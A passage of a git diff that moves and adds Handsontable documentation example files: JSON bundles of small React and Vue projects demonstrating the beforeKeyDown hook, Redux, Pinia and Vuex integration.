\"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { stopImmediatePropagation } from 'handsontable/helpers/dom/event';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n let lastChange: string | any[] | null = null;\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n beforeKeyDown(e) {\n const selection = hot?.getSelected()?.[0];\n\n if (!selection) return;\n\n // Ignore header and corner selections (row or column index < 0)\n if (selection[0] < 0 || selection[1] < 0) return;\n\n console.log(selection);\n\n // BACKSPACE or DELETE\n if (e.keyCode === 8 || e.keyCode === 46) {\n stopImmediatePropagation(e);\n // remove data at cell, shift up\n hot.spliceCol(selection[1], selection[0], 1);\n e.preventDefault();\n }\n // ENTER\n else if (e.keyCode === 13) {\n // if last change affected a single cell and did not change it's values\n if (lastChange && lastChange.length === 1 && lastChange[0][2] == lastChange[0][3]) {\n stopImmediatePropagation(e);\n hot.spliceCol(selection[1], selection[0], 0, '');\n // add new cell\n hot.selectCell(selection[0], selection[1]);\n // select new cell\n }\n }\n\n lastChange = null;\n },\n });\n });\n\n return (\n {\n lastChange = changes;\n }}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n ref={hotRef}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/events-and-hooks/react/example2.tsx","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__vue__example2.vue.json new file mode 100644 index 00000000..97efb90c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Events and hooks · The beforeKeyDown callback · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/events-and-hooks/vue/example2.vue","breadcrumb":["Getting Started","Events and hooks"],"guide":"guides/getting-started/events-and-hooks/events-and-hooks.md","guideTitle":"Events and hooks","exampleId":"example2","exampleTitle":"The beforeKeyDown callback","docPermalink":"/events-and-hooks","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__events-and-hooks__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__events-and-hooks__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__angular__example.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__angular__example.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__angular__example.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__angular__example.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__javascript__example.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__javascript__example.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__javascript__example.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__javascript__example.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__javascript__example.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__react__example.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__react__example.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__react__example.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__react__example.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__vue__example.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__vue__example.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__grid-size__vue__example.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__grid-size__vue__example.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__installation__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__javascript__example.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__installation__javascript__example.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__javascript__example.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__installation__javascript__example.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__javascript__example.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__installation__javascript__example.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__javascript__example.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__installation__react__example.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__react__example.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__installation__react__example.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__react__example.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__installation__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__installation__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__installation__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__react-methods__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-methods__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__react-methods__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-methods__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example1.tsx.json new file mode 100644 index 00000000..7dd0a126 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Integration with Redux · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"redux\": \"5.0.1\",\n \"react-redux\": \"9.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, MouseEvent, JSXElementConstructor, Key, ReactElement, ReactNode, ReactPortal } from 'react';\nimport { createStore } from 'redux';\nimport { Provider, useSelector, useDispatch } from 'react-redux';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponentContent = () => {\n const hotSettings = useSelector((state: RootState) => state);\n const dispatch = useDispatch();\n const hotTableComponentRef = useRef(null);\n\n const hotData = hotSettings.data;\n const isHotData = Array.isArray(hotData);\n\n const onBeforeHotChange = (changes: (Handsontable.CellChange | null)[]) => {\n dispatch({\n type: 'updateData',\n dataChanges: changes,\n });\n\n return false;\n };\n\n const toggleReadOnly = (event: MouseEvent) => {\n dispatch({\n type: 'updateReadOnly',\n readOnly: (event.target as HTMLInputElement).checked,\n });\n };\n\n return (\n
    \n
    \n
    \n
    \n
    \n \n
    \n
    \n\n \n
    \n

    Redux store dump

    \n 
    \n          {isHotData && (\n            
    \n              data:\n              \n                \n                  {hotData.map((row, i) => (\n                    \n                      {row.map(\n                        (\n                          cell:\n                            | string\n                            | number\n                            | boolean\n                            | ReactElement>\n                            | Iterable\n                            | ReactPortal\n                            | null\n                            | undefined,\n                          i: Key | null | undefined\n                        ) => (\n                          \n                        )\n                      )}\n                    \n                  ))}\n                \n              
    {cell}
    \n            
    \n          )}\n\n          \n            \n              {Object.entries(hotSettings).map(\n                ([name, value]) =>\n                  name !== 'data' && (\n                    \n                      \n                      \n                    \n                  )\n              )}\n            \n          
    \n                        {name}:\n                      {value.toString()}
    \n
    \n
    \n
    \n );\n};\n\nconst initialReduxStoreState = {\n data: [\n ['A1', 'B1', 'C1'],\n ['A2', 'B2', 'C2'],\n ['A3', 'B3', 'C3'],\n ['A4', 'B4', 'C4'],\n ['A5', 'B5', 'C5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n readOnly: false,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst updatesReducer = (\n state = initialReduxStoreState,\n action: { type: any; dataChanges: [any, any, any, any][]; readOnly: any }\n) => {\n switch (action.type) {\n case 'updateData':\n const newData = state.data.map((row) => [...row]);\n\n action.dataChanges.forEach(([row, column, oldValue, newValue]) => {\n newData[row][column] = newValue;\n });\n\n return {\n ...state,\n data: newData,\n };\n\n case 'updateReadOnly':\n return {\n ...state,\n readOnly: action.readOnly,\n };\n\n default:\n return state;\n }\n};\n\nexport type RootState = ReturnType;\n\nconst reduxStore = createStore(updatesReducer);\n\nconst ExampleComponent = () => (\n \n \n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/react-redux/react/example1.tsx","breadcrumb":["Getting Started","Integration with Redux"],"guide":"guides/getting-started/react-redux/react-redux.md","guideTitle":"Integration with Redux","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/redux","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example6.tsx.json new file mode 100644 index 00000000..e149c2e4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__react-redux__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Integration with Redux · Advanced example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"react-colorful\": \"5.8.0\",\n \"react-redux\": \"9.3.0\",\n \"redux\": \"5.0.1\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useEffect, MouseEvent, KeyboardEvent, useRef, useState } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HexColorPicker } from 'react-colorful';\nimport { Provider, connect, useDispatch } from 'react-redux';\nimport { createStore, combineReducers } from 'redux';\nimport { HotTable, HotColumn, useHotEditor } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface StarRatingProps {\n name: string;\n value?: number;\n starCount?: number;\n starColor?: string;\n emptyStarColor?: string;\n}\n\nfunction StarRating({ name, value = 0, starCount = 5, starColor = '#ffb400', emptyStarColor = '#d3d3d3' }: StarRatingProps) {\n return (\n
    \n {Array.from({ length: starCount }, (_, i) => (\n \n ★\n \n ))}\n
    \n );\n}\n\ntype RendererProps = {\n TD?: HTMLTableCellElement;\n value?: string | number;\n row?: number;\n col?: number;\n cellProperties?: Handsontable.CellProperties;\n};\n\nconst UnconnectedColorPickerEditor = () => {\n const dispatch = useDispatch();\n const editorRef = useRef(null);\n const [pickedColor, setPickedColor] = useState('');\n\n const { value, setValue, isOpen, finishEditing, col, row } = useHotEditor({\n onOpen: () => {\n if (editorRef.current) editorRef.current.style.display = 'block';\n (document.querySelector('.react-colorful__interactive') as HTMLDivElement)?.focus();\n },\n onClose: () => {\n if (editorRef.current) editorRef.current.style.display = 'none';\n\n setPickedColor('');\n },\n onPrepare: (_row, _column, _prop, TD, _originalValue, _cellProperties) => {\n const tdPosition = TD.getBoundingClientRect();\n\n if (!editorRef.current) return;\n\n editorRef.current.style.left = `${tdPosition.left + window.pageXOffset}px`;\n editorRef.current.style.top = `${tdPosition.top + window.pageYOffset}px`;\n },\n onFocus: () => {},\n });\n\n const onPickedColor = (color: string) => {\n setValue(color);\n };\n\n const applyColor = () => {\n if (col === 1) {\n dispatch({\n type: 'updateActiveStarColor',\n row,\n hexColor: value,\n });\n } else if (col === 2) {\n dispatch({\n type: 'updateInactiveStarColor',\n row,\n hexColor: value,\n });\n }\n\n finishEditing();\n };\n\n const stopMousedownPropagation = (e: MouseEvent) => {\n e.stopPropagation();\n };\n\n const stopKeyboardPropagation = (e: KeyboardEvent) => {\n e.stopPropagation();\n\n if (e.key === 'Escape') {\n applyColor();\n }\n };\n\n return (\n \n \n \n \n );\n};\n\nconst ColorPickerEditor = connect(function (state: RootState) {\n return {\n activeColors: state.appReducer.activeColors,\n inactiveColors: state.appReducer.inactiveColors,\n };\n})(UnconnectedColorPickerEditor);\n\nconst ColorPickerRenderer = ({ value }: RendererProps) => {\n return (\n <>\n \n
    {value}
    \n \n );\n};\n\n// a Redux component\nconst initialReduxStoreState: {\n activeColors?: string[];\n inactiveColors?: string[];\n} = {\n activeColors: [],\n inactiveColors: [],\n};\n\nconst appReducer = (\n state = initialReduxStoreState,\n action: { type?: any; row?: any; hexColor?: any; hotData?: any }\n) => {\n switch (action.type) {\n case 'initRatingColors': {\n const { hotData } = action;\n\n const activeColors = hotData.map((data: string[]) => data[1]);\n const inactiveColors = hotData.map((data: string[]) => data[2]);\n\n return {\n ...state,\n activeColors,\n inactiveColors,\n };\n }\n\n case 'updateActiveStarColor': {\n const rowIndex = action.row;\n const newColor = action.hexColor;\n\n const activeColorArray = state.activeColors ? [...state.activeColors] : [];\n\n activeColorArray[rowIndex] = newColor;\n\n return {\n ...state,\n activeColors: activeColorArray,\n };\n }\n\n case 'updateInactiveStarColor': {\n const rowIndex = action.row;\n const newColor = action.hexColor;\n\n const inactiveColorArray = state.inactiveColors ? [...state.inactiveColors] : [];\n\n inactiveColorArray[rowIndex] = newColor;\n\n return {\n ...state,\n inactiveColors: inactiveColorArray,\n };\n }\n\n default:\n return state;\n }\n};\n\nconst actionReducers = combineReducers({ appReducer });\nconst reduxStore = createStore(actionReducers);\n\ntype RootState = ReturnType;\n\n// a custom renderer component\nconst UnconnectedStarRatingRenderer = ({\n row,\n col,\n value,\n activeColors,\n inactiveColors,\n}: {\n row?: number;\n col?: number;\n value?: number;\n activeColors?: string;\n inactiveColors?: string;\n}) => {\n return (\n \n );\n};\n\nconst StarRatingRenderer = connect((state: RootState) => ({\n activeColors: state.appReducer.activeColors,\n inactiveColors: state.appReducer.inactiveColors,\n}))(UnconnectedStarRatingRenderer);\n\nconst data = [\n [1, '#ff6900', '#fcb900'],\n [2, '#fcb900', '#7bdcb5'],\n [3, '#7bdcb5', '#8ed1fc'],\n [4, '#00d084', '#0693e3'],\n [5, '#eb144c', '#abb8c3'],\n];\n\nconst ExampleComponent = () => {\n useEffect(() => {\n reduxStore.dispatch({\n type: 'initRatingColors',\n hotData: data,\n });\n }, []);\n\n return (\n \n \n \n \n \n     \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/react-redux/react/example6.tsx","breadcrumb":["Getting Started","Integration with Redux"],"guide":"guides/getting-started/react-redux/react-redux.md","guideTitle":"Integration with Redux","exampleId":"example6","exampleTitle":"Advanced example","docPermalink":"/redux","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__saving-data__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__saving-data__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__server-side-data__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__server-side-data__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-column__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-column__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-reference__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-reference__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__vue3-hot-reference__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-hot-reference__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-pinia__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-pinia__vue__example1.vue.json new file mode 100644 index 00000000..49c3dc3e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-pinia__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Pinia state management · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\",\n \"pinia\": \"4.0.2\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/getting-started/vue3-pinia/vue/example1.vue","breadcrumb":["Getting Started","Pinia state management"],"guide":"guides/getting-started/vue3-pinia/vue3-pinia.md","guideTitle":"Pinia state management","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/vue-pinia","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-vuex__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-vuex__vue__example1.vue.json new file mode 100644 index 00000000..eab12105 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__vue3-vuex__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Vuex state management · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm 